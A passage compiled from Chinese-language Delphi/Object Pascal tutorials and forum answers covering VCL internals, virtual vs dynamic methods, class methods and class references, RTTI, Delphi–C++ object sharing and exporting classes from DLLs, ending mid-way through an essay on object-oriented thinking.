高唱小曲来到各个对象转属的WndProc , 从此功德圆满。

后记：

个人感觉在这一技术上VCL 要比MFC 效率高出不少，后者每次根据窗口句柄来检索相

对应的窗口对象指针颇为费时，同时MakeObject 的代码也相当具有参考价值，有没有想

过让你自己的程序在内存中再开一堆可执行代码？

所有的代码是基于Delphi5的，可能与其余版本有所出入，但相信不会很大。

整个星期六和星期天我都花在写作此文上了（连调试带写字）， 不过水平所限，难免

有所错误与表达不周，但愿不至以己昏昏令人昏昏，欢迎来信探讨指教

cheka@yeah.net , thanx


关于类和代码优化

因为指向之类的变量，可以强制转换为父类的变量，因此类似于下面的代码都可以简化：

if Sender is TMemo then

(Sender as TMemo).Text:='Test'

else if Sender is TDBEdit then

(Sender as TDBMemo).Text:='Test';

可以变成如下的代码，以便提高效率：

if Sender is TCustomMemo then

TCustomMemo(Sender).Text:='Test';

因为is和as是效率很低的东东！尽量少用！！


VCL的对象和内存管理

vcl的所有对象是建立在“堆”上的，因此，所有的“类”类型的对象必须通过.Create来创建，Free来释放。而简单类型的对象不需要，他们是创建在“栈”上的，因此一旦声明，就有了实体，并在超出作用域后会被编译器释放其空间。

不过，object pascal的引用和c++的引用还是有区别的。c++的引用不允许空引用，不允许动态改变引用所指向的对象，但是，object pascal的引用允许。因为object pascal的对象只能建立在堆上。


dynamic和virtual之异同

dynamic和virtual之异同

    dynamic和virtual不仅作用相同，声明的语法也相同。它们唯一不同的在于内部机制。virtual的实现是通过虚拟方法表(VMT,virtual method table，和C++中的vtbl很相似)实现的，在类中每一个虚拟函数在VMT中都要占用一个位置。VMT的一个不利之处在于，不论派生类中有没有重载基类中的方法，都不会改变VMT的大小，这样VMT中很多位置实际上是重复的，在一个比较大的类库中，势必要浪费不少内存。dynamic的实现方法有所不同，它不是通过VMT中指向实际方法的指针，而是通过索引来实现的，这样只有派生类中重载了的方法才会占据实际的表项，从而节省了内存。dynamic的不利之处在于，由于dynamic的方法表格（相对于VMT，dynamic的方法表格可以称为DMT）在基类和派生类中的大小不一定相同，同一个dynamic method的表项位置也不一定相同，所以dynamic方法必须动态查找，调用效率就低一些。相比而言，在基类和派生类中的virtual method在VMT中的表项位置总是固定的，所以调用很快。

    总之，dynamic的优点就是virtual的缺点，dynamic的缺点也就是virtual的优点。你可以按照自己的需要来决定究竟用virtual还是用dynamic。不过，dynamic和virtual的区别可能对于编写application framework的程序员或者对那些效率问题至关重要的程序来讲才比较重要，对于一般的应用，虚拟方法不会很多，程序规模也不是很大的情况，一般用virtual就够了。

    Object Pascal也支持abstract method，只要在函数声明中加上abstract关键字即可。当然了，只有virtual或者dynamic方法才能够声明为 abstract。只是和C++中不同，你可以建立abstract class的实例，并且调用它的abstract方法：

type

TTest=class

proceudre f:virtual;abstract;

end;

procedure TForm1.FormCreate(Sender:TObject);

var

t: TTest;

begin

t := TTest.Create;

t.f;

t.Free;

end;

    尽管你会得到一个编译器警告Constructing instance of 'XXXX' containing abstract method 'XXXX.XX'，但是程序仍然可以运行，只是当调用t.f的时候会产生一个运行时刻异常。不知道Object Pascal为什么这样安排，在C++中，构造一个含有抽象方法的对象无论如何都不会成功的。Object Pascal为什么要这样处理呢？我不知道。

你可能没有注意到一个关于abstract的小问题：下面的代码会有问题吗？

type

TTest=class

procedure f;virtual;abstract;

end;

TTest2=class(TTest)

procedure f;override;

end;

implementation

procedure TTest2.f;

begin

inherited;

ShowMessage(‘Test2.f!’);

end;

procedure TForm1.FormCreate(Sender:TObject);

var

t : TTest2;

begin

t := TTest2.Create;

t.f;

t.Free;

end;

    在Delphi 5中，上面的代码会产生一个Abstract异常。关键在于inherited调用了基类的abstract方法。而在Delphi6中，编译器能够自动识别这种情况，从而不会导致问题。显然，Delphi 6中的这种增强更有利于OO的封装特性，你可以放心大胆的使用inherited，而不用担心基类的方法是否abstract。


访问保护类变量和方法

原因很简单，Color在TControl中是私有的。可以这样解决：

TMyControl=Class(TControl);/*在每个需用TControl.Color的单元中写*/

procedure ChangeColor(Sender:TObject;iDirection:Integer)

begin

if iDirection=1 then

(Sender as TMyControl).Color:=clAqua

else

(Sender as TMyControl).Color:=clWindow;

end;


在Delphi中如何自定义基类

一般地，Delphi中声明一个类，都是从TObject派生的，这是默认的！那么如何自定义基类呢？

Phoenix2000(Phoenix2000):

可以的。采用下面这样的形式：

type

TMyObj = object

// ... 定义

end;

TMyChild = object(TMyObj)

end;

TMyObj 这各类就不是从 TObject 派生的，它是保留了老的 Turbo Pascal 面向对象性质，TMyObj 这个类没有祖先类，而 TMyChild 是从 TMyObj 派生的。其 OOP 性质和 C++ 是一样的。但是不提倡这样做。因为以 Object 关键字代替 class 定义的类不能从 TObject 派生子类，不能得到 TObject 类带来的先进特性，如虚拟构造函数、RTTI 等等。其实 TObject 类已经具备了 C++ 的模板功能，是非常高效优秀的，既然 C++ 大量的应用模板不就是为了能够达到 类的高级功能

而不是简单的继承派生，而 TObject 正是实现着的最好的办法，用最简捷的法是实现了 C++ 用复杂方式才能实现的东西，何乐而不为？

westfly(西翔) :

可以，不过这种类delphi不鼓励定义：

// 例如：

type

TMyClass = object

private

FX: Integer;

public

constructor Init;

procedure Test;

destructor Done;

end;

var c: TMyClass;

var pc: ^TMyClass;

begin

c.Init;

c.Test;

c.Done;

pc := New(TMyClass);

pc^.Init;

pc^.Test;

pc^.Done;

Dispose(pc);

end;

// TMyClass将不继承自任何类

// c定义后自动获得空间，不需要c := TMyClass.Init这样写。


关于object pascal的class of class的讨论

hi tiez :

你提到的問題已經是屬於語言和編譯器的程度. 基本上你問的問題就是3nt兄說的template的機制. Object Pascal要不要加入template是一個見仁見智的問題, 這個問題也曾在許多Forum和Borland內部的Forum有過激烈的辯論.

使用template的機制有好處,也有壞處, 我心中有自己的想法, 但是不敢隨便評論, 以免再次掀起大戰. 要把template的機制用得好不簡單, 而且使用template的目的也有很有趣的分別. 我最喜歡舉Microsoft ATL和Borland OWL後期版本來做比較, 一個是為了效率和最小的程式碼大小, 一個是為了良好的架構設計和彈性. Object Pascal如果加入template的機制, 那麼VCL都可以使用Template的觀念來設計, 就像ATL一樣,不過Borland選擇使用Interface的方式.

事實上現在也可以便用Object Pascal來達成你說的範例, 只是需要程式師寫較多的程式碼, 而C++的Template則是由編譯器自動幫你產生了這些程式碼, 這並不困難.

至於寫Delphi和UML的書籍, 則是我沒有想太多的方向, 一是我想一定有人更有經驗, 二是我腦中想完成的書太多, 我如果能夠寫完現在在我腦中的東西, 我就很佩服我自己了, 更何況我腦中不時的有新的想法會出來. 看來我的腦袋還不錯, 真是心有餘而力不足了.

李維

  回复人：Phoenix2000(Phoenix2000)　(2001-5-24 8:35:00) 得30分

Object Pascal 语言不支持泛型结构（也就是各种模板）。严格说来，泛型结构其实是对宏的高级实现（以语言本身实现），并不是属于面向对象概念范畴。在 Delphi 中，采用 TObject 类实现模板的功能，所有派生子类都从 TObject 派生，并采用单一继承树，不支持操作符重载、没有一般概念上的多重继承。多重继承仅仅用来实现接口（方便 COM/DCOM/CORBA 编程而引入的）。在这一点上，Java 语言和 Delphi/Object Pascal 是一样的。但是近来有消息说 Java 语言正在重新将 C/C++ 的传统泛型结构引入到新版本的 Java 语言中，看来泛型设计有它的优越之处，而 Delphi/Object Pascal 是否支持泛型只有看 Borland 公司是否修改其编译器了。

至于你说的 Delphi/Object Pascal 中的 class of class 这种概念，首先只有在 Delphi 的 Object Pascal 中才有，其他的 Object Pascal （比如苹果公司的 Object Pascal 语言）好像是不支持的。之所以引入 class of class 主要是为了让 Object Pascal 具备完全的运行时类型信息 RTTI 的能力，并且是这种能力提高到成为语言自身的语法要素这个层次。就算没有 class of class 也可以用汇编语言实现，但是这表明了语言的欠缺和不完整。RTTI 对于面向对象的程序设计语言是有着非常重要的意义的。C++ 一开始也不支持 RTTI，到了 1992 年时候才将 RTTI 引入到 ANSI C++ 标准中，因此 C++ 语言中出现了 dynamic_cast 等等新的关键字用来实现 RTTI。好了，似乎说的有电离题了。


类方法的使用

类方法的使用

    类方法（Class methods）是一类特殊的方法，它们在声明时要以class开头

    type

    TFigure = class

    public

    ...

    class procedure GetInfo(varInfo:TFigureInfo); virtual;

    ...

    end;

    实现时也以class开头

    class procedureTFigure.GetInfo(varInfo:TFigureInfo);

    begin

    ...

    end;

    （具体意义请自行查看帮助）

    乍一看好象平时没有遇到过这个东东，也没有看到过谁用过这个东东，好象这个东东也没有什么大作用，其实不然……

    比如我们有时为输入密码或其他常用数据专门做一个form，但由于其代码都在form定义的unit里面，所以在使用时仅仅需要几行代码，比如

    with TfrmPassword.Create(nil) do

    try

    ShowModal;

    finally

    Free;

    end;

    虽然这样的代码已经很简洁，但如果写个十七八个还是很讨厌的。利用类方法可以使其更简洁！一行足以……

    TfrmPassword = class(TForm)

    ...

    public

    { Public declarations }

    class function Execute:TModalResult;

    end;

    ...

    class function TfrmPassword.Execute:TModalResult;

    begin

    with TfrmPassword.Create(nil) do

    try

    Result := ShowModal;

    finally

    Release; //注意此处必须为release不能为free！

    end;

    end;

    然后只用一行

    TfrmPassword.Execute;

    即可直接完成调用……是否很爽^_^


Class of Reference

在C++中，我们可以用static来声明一个属于类而不是类的某个具体实例的函数。许多人以为Object Pascal没有类似的功能，其实是有的，只要将函数声明为类方法（class procedure或者class function）就可以了。

例如：

TForm1=class(TForm)

public

class procedure T;

end;

implementation

class procedure TFomr1.T;

begin

end;

你可以在项目文件中验证它是不是真的static：

begin

TForm1.T;

Application.Initialzie;

Application.CreateForm(TForm1,Form1);

Application.Run;

end;

class procedure/class function在VCL中也是相当重要的一类特殊方法。TObject的ClassName,ClassNameIs,ClassPoint,ClassInfo这四个方法全都是class function。虽然你在实际的编程中99.99999999999%的时间都不会用到它们，不过这四个函数堪称构筑整个VCL的基石。

    值得一提的是，与C++中的static member function不同，Object Pascal中的class method能够具有多态的性质。例如，ClassName是TObject的一个class method，但是你调用TForm.ClassName得到的就是'TForm'，调用TButton.ClassName得到的就是'TButton'，等等。静态方法能够做到多态，岂不是非常神奇？这一切都是通过RTTI才做到的。你可以想象，如果ClassName用一般的virtual method来声明的话，就必须在每个派生类中都必须重载它才能实现类名称的正确映射，那将是多么痛苦的一件事情。

Class Reference是Object Pascal中不太为人所知晓的概念。它的语法很简单，比如，

TClass=class of TObject；

Class Reference有什么用呢？用一个小例子来说明。在Form上面放一个RadioGroup，其中包括Radio Button, Check Box， Button三项。代码如下：

type

TForm1=class(TForm)

...

private

ControlRef:TControlClass;

Counter : integer;

...

end;

implementation

procedure TForm1.FormCreate(Sender:TObject);

begin

Counter := 0;

end;

procedure TForm1.RadioGroup1Click(Sender:TObject);

begin

case RadioGroup1.ItemIndex of

0: ControlRef:=TRadioButton;

1: ControlRef:=TCheckBox;

2: ControlRef:=TButton;

end;

end;

procedure TForm1.FormMouseDown(Sender:TObject;Button:TMouseButton;Shift:TShiftState;X,Y:integer);

var

Control : TControl;

ControlName : string;

begin

if Button=mbLeft then begin

Control := TControlRef.Create(Self);

with Control do begin

Visible := False;

Parent := Self;

Left := X;

Top := Y;

ControlName := Control.ClassName + IntToStr(Counter);

Delete(ControlName,1,1);

Name := ControlName;

visible := True;

end;

end;

end;

    Class Reference揭示了Object Pascal的一个令人惊讶的能力。在OO语言的一般概念中，Constructor不可能是virtual,我们调用TButton.Create建立的就是Button，TForm.Create建立的就是TForm，依此类推。但是，籍由Class Reference，VCL就拥有了virtual Construction的能力，在上面的代码中，通过单独的一个ControlRef.Create，我们建立起来的可以是任何TControl的派生对象。正是由于这种能力，Form Designer和Object Inspector才有办法操作各种各样不同类型的构件，而不管这些构件是Delphi内置的，还是我们从其他地方得到的，或者是我们自己编写的。Class Reference的概念在其他地方也被称作meta-class，是用来描述类信息的特殊类型。

     实际上，真正的幕后英雄是RTTI，通过RTTI，不仅使得类拥有了virtual construction的功能，而且类中的class method也有了virtual的性质。例如，TObject中的ClassName方法声明为class function ClassName:string，按道理说static method是不可能做到多态的，但实际上，我们调用TButton.ClassName得到的就是TButton，调用TForm.ClassName得到的就是TForm，通过RTTI，不可能的事情变成了可能，而且而避免了在每个派生类都要重载ClassName的麻烦。

    在MFC中，如果一个对象满足下列条件：1。它是从CObject派生的；2。它的声明中包含DECLARE_DYNAMIC,并且在某个地方实现了IMPLEMENT_DYNAMIC，那么它也可以通过GetRuntimeClass()->CreateObject来实现类似的功能。

     所不同的是，MFC的实现方法是通过宏来在内存中建立起一个完整的CRuntimeClass表格，而Object Pascal中，由于单根继承的特性，所有对象天生就具备了这些功能。MFC的内存表格是通过程序员的声明而建立的，而Object Pascal中的RTTI表格是编译器自动生成的，彼此实现方法不同，但背后的思想是基本一致的。

    通过RTTI，不仅对象可以动态生成，而且对象的属性也可以动态设置。下面这段代码不是来自《Mastering Delphi 6》，而是来自陈宽达先生的《Delphi深度历险》，它同样揭示了Object Pascal通过RTTI而具备的强大功能和灵活性：

var

i: integer;

propInfo: PPropInfo;

begin

for i:=0 to ComponentCount-1 do begin

PropInfo := GetPropInfo(Components[i].ClassInfo,’Color’);

if PropInfo<>nil then

SetOrProp(Components[i], PropInfo, clRed);

end;

end;


关于procedure of Object

关于一个指针操作 ,在下面的TreeView1OnClick中错误，为什么？

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls, ComCtrls;

type

TForm1 = class(TForm)

TreeView1: TTreeView;

Button1: TButton;

Button2: TButton;

procedure Button1Click(Sender: TObject);

procedure Button2Click(Sender: TObject);

procedure TreeView1Click(Sender: TObject);

private

{ Private declarations }

i:integer;

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);

var

F:procedure (Sender:TObject) of Object;

begin

F:=Button2Click;

TreeView1.Items.AddObject(nil,'test',@F);

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

Inc(Form1.i);//这个Form1是一定用加的!

Form1.Caption:=Sender.ClassName +' 调用次数'+IntToStr(Form1.I);

end;

procedure TForm1.TreeView1Click(Sender: TObject);

var

F:Procedure (Sender:TObject) of Object;

begin

if TreeView1.Selected.Data<>nil then

begin

F:=nil;

@F:=TreeView1.Selected.Data;

if @F=@Button2Click then //Variable required !!! 在这里会出错，为什么？

begin

F(Sender);

end;

F:=nil;

end;

end;

end.

*******************************

解决如下：

procedure TForm1.Button1Click(Sender: TObject);

var

F:procedure (Sender:TObject) of Object;

begin

F:=Button2Click;

TreeView1.Items.AddObject(nil,'test',@F);

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

Inc(Form1.i);//这个Form1是一定用加的!

Form1.Caption:=Sender.ClassName +' 调用次数'+IntToStr(Form1.I);

end;

procedure TForm1.TreeView1Click(Sender: TObject);

var

F:Procedure (Sender:TObject) of Object;

begin

if TreeView1.Selected.Data<>nil then

begin

F:=nil;

@F:=TreeView1.Selected.Data;

if @F=@Button2.OnClick then //Variable required !!! 在这里会出错，为什么？

begin

F(Sender);

end;

F:=nil;

end;

end;


在Delphi与C++之间实现函数与对象共享

在Delphi与C++之间实现函数与对象共享

Delphi以其独特的面向控件的开发方式、强大的数据库功能以及快速的编译技术,使得它自发布起即格外引人注意。随着Delphi 3提供丰富的Internet应用,Delphi日益成为最重要的软件开发工具之一,它吸引了许多原Visual Basic、Foxpro、dBase甚至C++的程序员,而这些程序员使用Delphi时需要解决的一个重要问题就是怎样利用他们原有的代码。本文将介绍Delphi与C++程序集成的方法,包括:

Delphi与C++之间函数的共享;

代码的静态链接和动态链接;

对象的共享。

函数的共享

在Delphi中调用C++函数与C++调用Delphi函数相当直接,需要注意的是,Delphi 1默认的函数调用方式是Pascal方式,Delphi 2、Delphi 3的默认方式则是优化的cdecl调用方式,即register方式。要在C++与Delphi程序之间实现函数共享,除非有充分的原因,否则应该使用标准系统调用方式,即stdcall方式。为了使C++编译器不将函数标记为"mang led",使Delphi编译器误认为函数是采用cdecl调用方式,应该在C++代码中,以extern "C "说明被共享的函数,如下例所示:

原型说明:

在C++中:

extern "C" int _stdcall TestFunc();

在Delphi中:

function TestFunc:integer; stdcall;

调用语法:

在C++中:

int i=TestFunc();

在Delphi中:

var i:integer;

…

begin

…

i:=TestFunc;

…

end;

共享函数的参数必须是两种语言都支持的变量类型,这是正确传递参数的前提。诸如Delphi的currency、string、set等变量类型,在C++中没有相对应的变量类型,不能被用作共享函数的参数。可以用PChar类型以值参的方式传递字符串指针,这时用户必须注意字符串空间的回收。

Delphi语言中的变参应被说明成C++中相应变量类型的引用形式,如下:

在Delphi中:

function TestFunc(var i:integer):integer;

在C++中:

int TestFunc(int &i);

代码链接

在Delphi与C++之间实现代码链接可采用静态链接或动态链接的方式。

1.静态链接方式

如果C++程序本身的代码量很小,而且无需担心与C运行库会有交互过程,一般可选用静态链接方式,即把Delphi与C++的目标文件(*.OBJ)链接成最终的可执行文件。具体的方法是使用{$L}编译指令,使Delphi编译器自动读取指定目标文件,说明如下:

function TestFunc:integer;stdcall;

{$L TestFunc.OBJ}

2.动态链接方式

如果C++代码已经相当全面或自成一个完整的子系统,代码量很大,或者用到了C运行库,在这种情况下,应该使用动态链接库(DLL)的方式。此时,在两种语言的源代码中应做如下说明:

在C++中:

int stdcall export TestFunc();

在Delphi中:

function TestFunc:integer; stdcall;

external ‘TestFunc.DLL’;

对象的共享

在C++与Delphi之间的对象共享主要体现在对象方法(Method)的共享方面,这种共享可分为两个层次:对象(Object)级共享与类(Class)级共享。要实现对象级共享,程序设计语言需具备两个前提条件:

能够定义指向由另一语言创建的对象的指针;

可以访问由指针确定的对象中的方法。

要实现类级的共享,则还需考虑:

能够创建由另一种语言定义的类的实例;

可以从堆中释放一个实例所占用的空间;

派生新的类。

以下介绍在Delphi与Borland C++之间实现对象共享的方法。

1.C++共享Delphi对象

要实现从C++调用Delphi对象,首先要在Delphi单元的接口部分以及C++的头文件中说明需要共享的对象的接口,在对象接口中定义该对象包含哪些属性与方法,并说明可供共享的部分。对象的共享,关键在于方法的共享。在Delphi语言中,要使一个对象可以被共享,可以把它说明为两个接口部分,暂称为"共享接口"与"实现接口"。其中共享接口指明对象中哪些方法可被另一种语言所共享;实现接口则继承共享接口,并且在单元实现部分针对实现接口中的方法定义具体的实现。要定义一个可供C++共享的Delphi对象,共享接口的说明应注意:

在Delphi程序里,要共享的方法必须被说明为抽象(abstract),而且虚拟(virtual );

在C++程序里,必须用关键字"virtual"及"=0"后缀,把从Delphi共享的方法说明成"pure virtual";

共享的对象方法必须在两种语言里都被说明成相同的调用方式,通常使用标准系统调用方式(stdcall)。

下面,举例说明这些规则,假设有这样的一个Delphi对象:

TTestObject=class

procedure Proc1(x:integer);

function Func1(x:integer):PChar;

procedure Proc2;

function Func2:integer;

end;

如果C++程序需要共享其中的方法Proc1、Func1,可把上述说明修改成以下形式:

STestObject=class

procedure Proc1(x:integer); virtual; abstract; stdcall;

function Func1(x:integer); virtual; abstract; stdcall;

end;

TTestObject=class(STestObject)

procedure Proc1(x:integer);

fuction Func1(x:integer):PChar;

procedure Proc2;

fuction Func2:integer;

end;

在C++程序中做如下对象原型说明:

class STestObject {

virtual void Proc1(int x)=0;

virtual char *Func1(int x)=0;

};

为了能在C++中成功地访问Delphi定义的类, Delphi接口说明时必须包含一个可共享的"制造函数(Factory Function)"CreateTestObject,该制造函数可被定义在动态链接库或目标文件.OBJ)中,例如:

Library TestLib;

exports CreateTestObject;

function CreateTestObject:STestObject; stdcall;

begin

Result:=TTestObject.Create;

end;

…

end.

经过这样的处理,现在可在C++程序中使用这个由Delphi定义的对象,调用方式如下:

extern "C" STestObject stdcall *CreateTestObject();

void UseTestObject(void) {

STestObject *theTestObject=CreateTestObject();

theTestObject->Proc1(10);

Char *str=theTestObject->Func1(0);

}

当调用制造函数CreateTestObject时,实际上已经在Delphi一侧占用了一个对象实例的空间,C++程序在针对该对象的所有处理完成后必须考虑释放这一空间,具体的实现可在Delphi中定义一个类,如上述Proc1的共享方法Free,以此来完成这一任务:

STestObject=class

procedure Proc1(x:integer); virtual; abstract; stdcall;

function Func1(x:integer); virtual; abstract; stdcall;

procedure Free; virtual; abstract; stdcall;

end;

…

implementation

…

procedure TTestObject.Free;

begin

…

end;

…

end.

2.Delphi共享C++对象

通常,程序员会考虑使用Delphi来编制用户界面,所以Delphi代码调用C++代码似乎显得更加实际些。其实,Delphi共享C++对象的实现方法与上述C++共享Delphi对象非常相似。用同样的共享接口与实现接口说明方法来定义C++的类:

class STestObjedt {

virtual void Proc1(int x)=0;

virtual char *Func1(int x)=0;

};

class TTestObjedt :public STestObject {

void Proc1(int x);

char *Func1(int x);

void Proc2();

int Func2();

void Free();

};

然后实现这些方法。同样地,C++对象需要一个与之对应的制造函数,这里以DLL为例

STestObject stdcall export *CreateTestObject() {

return (STestObject *) new TTestObject.Create;

}

Delphi代码可以通过调用制造函数CreateTestObject,很容易地在C++中创建实例,获得指向该实例的指针值,并以这个指针值来调用对象中的共享方法。当然,在进行完该对象的相关处理后,千万不要忘了调用Free释放占用的空间。

浙江省奉化市房地产管理处 邵辉


Dll中导出类--Delphi实战

Dll中导出类--Delphi实战

作者: Musicwind

摘要：

    本文讨论的是如何在Dll中导出类--基于某个特定的抽象类的许多子类。这种技术运用了多态的思想，使得我们得到类似于插件的效果。

预期读者：

    了解多态的概念；了解元类的概念。

技术难度：

6/10。

    从Dll中导出类，想必大家首先想到的是使用bpl包。这种方式有一个不好，那就是使用者必须清楚这个包中含有那些类，也就是说必须知道类的名字--这在一定意义上是个限制，试想一种情况，使用者定义了一个底层的抽象类(abstract class)，然后在此基础上定义了许多应用类(concrete class)，那么，对于使用者来说，他希望在不知道具体有哪些类的情况下能使用这些类--这么说似乎有些玄，但实际情况确实如此，因为定义抽象类的时候并不能预料到以后会有多少个具体类--那么这样的需求，要靠什么样的技术来实现呢？

    其实实现的技术的难度并不大--作者在此将自己实践的经验献给大家，算作抛砖引玉，希望能看到其他更好的方法！

    以下先介绍该方法涉及的一些基础知识，然后用一个例子来说明具体的实现。

一、基本概念

    元类(meta class)，也叫类引用类型(class-reference type)，可以看成是一种类的类型，以该类型声明的变量的值代表一个类。比如： type

TClass = Class of TObject；

    这样就声明了一个元类的类型。然后可以有这样的变量声明：

Var

AClass: TClass;

    那么，就可以有这样的用法：

AClass := TObject;

    或者：

AClass := TButton;

    或者：

AClass := TForm;

    等等。

    因为TClass是一个TObject类型的元类，而TButton，TForm等都是自TObject派生而来，因而TButton和TForm这样的值对于AClass都是可接受的。

    然后，我们就可以运用多态的思想，灵活运用AClass这个类变量了。而这一点也正是下文具体实现的基础知识。

二、具体实现

    第一步，建立一个抽象类：

    我们使用这样一个简单的声明，该抽象类只提供了一种抽象方法，但并不影响我们描述问题：

TMyBaseForm = Class(TForm)

protected

function GetTitle: pchar; virtual; abstract;

end;

MyBaseFormClass = Class of TMyBaseForm;

    暂不探讨这么一个抽象类提供了多少可供实用的方法和接口，因为我们要讨论的是一种技术上的可行性。假设作者定义此接口的初衷只是希望获得任意多变化的Title，而具体GetTitle的返回值是什么需要靠子类来实现。并且，作者还希望子类的代码放在Dll中实现，与主程序分离--这样的方式很有些插件的味道，或许还能实现Plug&Play的某些特性--是不是挺吸引人啊？那么，下一不应该怎么做呢？

    首先主程序和Dll程序应当将上述声明的单元包含进来，然后，主程序负责实现一个驱动--动态加载Dll，动态加载类；而Dll负责实现子类。

    先说Dll吧，Dll应当做什么工作？

    第二步，Dll中导出子类：

    我们设计了以下两个导出函数：

1． function GetClassCount: integer; stdcall;

    告诉调用者，本Dll中共有几个子类；

2．function GetClassTypeByIndex(const iIndex: integer;

var ClassType: MyBaseFormClass): WordBool; stdcall;

    以索引方式获得具体的子类。注意，此处的ClassType的类型是MyBaseFormClass，这表明，它的值将是一个确定的自TMyBaseForm继承而来的类。

以下是它们可能的一种实现：

function GetClassCount: integer;

begin

result := 3; //表明本Dll中导出了3个类

end;

function GetClassTypeByIndex(const iIndex: integer;

var ClassType: MyBaseFormClass): WordBool;

begin

result := True;

case iIndex of

0: ClassType := TFrmTest1;

1: ClassType := TFrmTest2;

2: ClassType := TFrmTest3;

else

result := False;

end;

end;

    当然，在该单元的Use列表中应当将TFrmTest1、TFrmTest2以及TFrmTest3所在的单元包含进来。而TFrmTest1的实现可以象这样：

TFrmTest1 = Class(TMyBaseForm)

protected

function GetTitle: PChar; override;

end;

function TFrmTest1.GetTitle: Pchar;

begin

result := ‘Hello from TFrmTest1’；

end;

    末了，别忘了将GetClassCount和GetClassByIndex加到Exports列表中。然后，Build该Dll工程的时候，请将Project option-package 中的”使用运行包use runtime package”打勾。至于具体的原因后面讲。

    至此，Dll方面的工作告一段落。

    第三步，主程序驱动引擎的实现：

    这一步相对来说容易些--无非是动态加载Dll，然后调用GetClassCount函数，接着调用GetClassByIndex。关键的代码：

Var AClass: TMyBaseClass;

AForm: TMyBaseForm;

I, iCount: integer;

blResult: Boolean;

begin

    //略去加载动态库的部分，假定FPGetClassProc指向GetClassCount函数，FPGetClassByIndexProc指向GetClassByIndex，则：

iCount := FPGetClassProc;

for I := 0 to iCount - 1 do

begin

AClass := FPGetClassByIndex(I, blResult);

if blResult then

begin

AForm := AClass.Create(Application);

AForm.Caption := AForm.GetTitle;

AForm.Show;

end;

end;

//…

end;

    注意一点，和Dll相似，创建输出文件的时候，也需要选择使用运行时间包。这是因为，如果不使用运行时间包，将导致相同的类在内存中有多个副本，因而对它们使用Is操作符的将返回False的结果。


我的面向对象程序观

/**

* title: 我的面向对象程序观

* description: 描述我对面向对象的一些理解，思想上并不成熟，文章随时都在更

新，希望大家都来参与讨论

* copyright: copyright (c) 2001

* company: matrixfox

* @author 莫特探员

* @version 本文章还在继续更新中。

*/

我的面向对象程序观

1)面向对象概念的一些误解

“面向对象”是一个如今被人叫烂的词汇，就像去年人们都喜欢把自己的公司打上“.com”的标记一样。其实有多少人能真正理解这个词汇呢，很难说。我喜欢这样来比喻人们对“对象”一词的滥用。“对象”就好比人们经常说的“酷”和“爽”，很多人并不仔细考虑这两个词的差别，在很多情况下他们是通用的，“酷”和“爽”通常表达“心情不错”的意思，你可以在你玩的高兴的时候，大声的叫嚷“太酷了，太爽了”，这个时候两个词汇是通用的。但是你可以说“这个人很酷啊”，但是你不能说“这个人很爽啊”。人们对“对象”这个词汇的滥用就发生在这里，“面向对象”和“基于对象”就好比“酷”和“爽”,这是两个不同的概念，但是人们通常将这两个词汇混为一谈，一律用“面向对象”来表达。常见的错误可以在此列举一些：1）有个人兴高采烈的和你说“我不喜欢 flash 4 的脚本语言，flash 5 版本的action script 采用了新的面向对象的“.”语法，写起来很舒服。我现在一直用flash 5 来做东西。”（同样的话语也发生在 director 的 lingo 脚本语言中）2）visual basic 采用了面向对象的属性和方法，比起过去的 basic 语言有了很大的提高。3）javascript 是面向对象的。等等。

通常听到类似的话，你都要认真审视说话之人，分析他说的话。可以肯定一点，他并非真正懂得什么是面向对象的思想。很多人没有区分“面向对象”和“基于对象”两个不同的概念。面向对象的三大特点（封装，继承，多态）却一不可，通常“基于对象”使用对象，但是无法利用现有的对象模板产生新的对象类型，继而产生新的对象，也就是说“基于对象”没有继承的特点，而“多态”是表示为父类类型的子类对象实例，没有了继承的概念也就无从谈论“多态”。现在的很多流行技术都是基于对象的，它们使用一些封装好的对象，调用对象的方法，设置对象的属性。但是它们无法让程序员派生新对象类型。他们只能使用现有对象的方法和属性。所以当你判断一个新的技术是否是面向对象的时候，通常可以使用后两个特性来加以判断。“面向对象”和“基于对象”都实现了“封装”的概念，但是面向对象实现了“继承和多态”，而“基于对象”没有实现这些，的确很饶口。

2）java 比 c++ 在贯彻面向对象的思想方面更加彻底。我最近上的学习班的老师对我说：“c++ 是打着面向对象的幌子，干着过程编程的勾当”，这句话我非常的赞同，而且我一直以来也是这么认为的。但是仔细听他讲解后，我才发现，我是只是理解了这句话前两层的意思。但是还有一层意思我没有理解。你可能要问，“难道 c++ 不是面向对象的吗？”。事实上 c++ 是真正的面向对象编程语言。但是它也是过程编程语言。为什么怎么说呢， c++ 的产生不但考虑了面向对象的特性，而且也更多的考虑了对 c 语言的向后兼容，使得 c++ 这种杂合语言表现出“过程”和“对象”编程的双重性。你通常既可以继续用 c++ 编译器来编写传统的 c 程序，也可以使用 c ++ 的类库或者编写自己的类来作面向对象编程。这种“两面性”使得人们可以继续保留原有的 c 代码，同时也阻碍了面向对象思想的推广。

举个简单的例子，94 年的时候，我开始学习 c++ ，当时是学习 turbo c++ 自己带的一个叫作 turbo vision 的类库来做项目。我的同学也用 turbo c++ ，但是他一点也没有学习过 c++ 这个语言，他只是用 turbo c++ 编译器来重新编译他以前用 turbo c写的程序，然后他自豪的对我说：“瞧，我用 c++ 做的东西”，好像意思是说“我用c++ 开发项目了”，在那个 c 比 pascal 高档， pascal 比 foxbase 高档的年代里，c++ 的标签绝对是个很"酷"的标志。我其实很清楚他的行为。这就是“c++ 是打着面向对象的幌子，干着过程编程的勾当”的第一重意思，也就是说， c++ 编译器对 c 程序的兼容性造成了最底层的“过程勾当”。在国内有很长一段时间，人们都是在用 c++编译器做 c 编程。 我当时在想，比起我那个同学，我才是真正懂得面向对象的人。我学习了 c++ 语言，我懂得封装，继承和多态，我学习了 turbo vision 的类库，我派生了 turbo vision 的类库并编写了自己的类，所以我是懂得面向对象的。从某种意义上说，我这么想是对的。但是从面向对象程序员的分类来说，我又不完全懂得面向对象的思想。从事面向对象编程的人按照分工来说，可以分为“类库的创建者”和“类库的使用者”，通常创建类库的人才是真正懂得面向对象思想的人，他们创建类库供给那些“客户程序员”来使用，他们从头开始制作类库，他们进行面向对象的分析，设计，实现的全过程。当学习完 c++ 后，我的第一个感觉是，从头创建一个类库真是很麻烦的事情，通常用 c 